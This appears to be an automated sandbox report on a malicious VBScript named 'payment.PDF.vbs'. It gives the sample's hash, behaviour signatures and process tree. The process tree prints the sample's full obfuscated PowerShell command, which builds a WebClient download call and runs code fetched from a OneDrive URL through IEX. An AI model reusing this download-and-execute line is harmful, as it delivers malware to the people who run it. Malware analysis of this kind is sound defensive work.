Analysis
- max time kernel
21s - max time network
53s - platform
windows7_x64 - resource
win7v20210408 - submitted
24/05/2021, 17:44
General
- Target payment.PDF.vbs
- Size 581B
- Sample210524-qd64sl6sen
- SHA256 416f3b7993ceaa6819402c66c9b2de0a4de163cd9765dd8dffe81cdbab538c48
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\payment.PDF.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a1 = 'S&@&@&@&@&@&@m.N$%$%$%$%eb@!@!@!@!@!@!nt'.Replace('&@&@&@&@&@&@','yste').Replace('$%$%$%$%','et.W').Replace('@!@!@!@!@!@!','Clie');$a2b= '!!!!!!!!!!!wnl########tr*&*&*&*&*&'.Replace('!!!!!!!!!!!','Do').Replace('########','oads').Replace('*&*&*&*&*&','ing');$a3 = (New-Object $a1);$bb = I`E`X $a3.$a2b('https://onedrive.live.com/download?cid=FFEE38EB861E9448&resid=FFEE38EB861E9448%21296&authkey=AH71em8-Q5VpZLs') ;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1456-62-0x0000000002350000-0x0000000002351000-memory.dmp
memory/1456-63-0x000000001AD20000-0x000000001AD21000-memory.dmp
memory/1456-64-0x00000000023B0000-0x00000000023B1000-memory.dmp
memory/1456-65-0x000000001ACA0000-0x000000001ACA2000-memory.dmp
memory/1456-66-0x000000001ACA4000-0x000000001ACA6000-memory.dmp
memory/1456-67-0x0000000002560000-0x0000000002561000-memory.dmp
memory/1456-68-0x000000001C270000-0x000000001C271000-memory.dmp
memory/1972-59-0x000007FEFB891000-0x000007FEFB893000-memory.dmp